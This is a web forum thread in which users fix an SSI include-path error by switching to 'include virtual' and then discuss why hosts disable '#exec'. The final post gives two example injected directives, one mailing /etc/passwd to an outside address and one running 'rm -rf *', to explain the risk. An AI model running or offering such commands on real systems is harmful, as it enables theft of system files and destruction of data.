SSI calls trouble

[jizbot]

I created a folder in my root directory and named it "ssi"

When i call my ssi file i call it like so:

<!--#include file="ssi/file_name.html" -->

When im in the root directory it works fine, but as soon as i go into a subdirectory it doesnt work.

I get this:
"[an error occurred while processing this directive]"

Ive tried placing a "/" in front of the "ssi/file_name.html" with no luck

the only way i have been successful is by placing a "ssi" folder copy into all the subdirectories... I know there must be a better way. someone please help me
thank you so much

[Hierophant]

Change file to virtual then use the "/"

<!--#include virtual="/ssi/file_name.html" -->

[jizbot]

great!
thank you very much luke

[Elledan]

Could anyone tell me when you use 'file' in a SSI tag?

[Hierophant]

You use "file" when you know the absolute path from the root of the device your on.

[Elledan]

Ok, thanks, Wayne

[Son Nguyen]

Lately, my host told me that because of security reason, they don't allow <!--#exec cgi... and replace by <!--#include virtual=...

Could anybody tell me what problem could happen with exec cgi? and what the different with include virtual!

[Plebius]

Many hosts don't support the #exec in SSI for security reasons.

EG: <!--#exec cmd="/bin/cat /etc/passwd | mail you@host.com"--> would mail the password file to you@host.com and depending on the server setup malicious users could insert that command, or any other command into a form and break into a system or cause other damage like deleting files. ( <!--#exec cmd="/bin/rm -rf *"--> )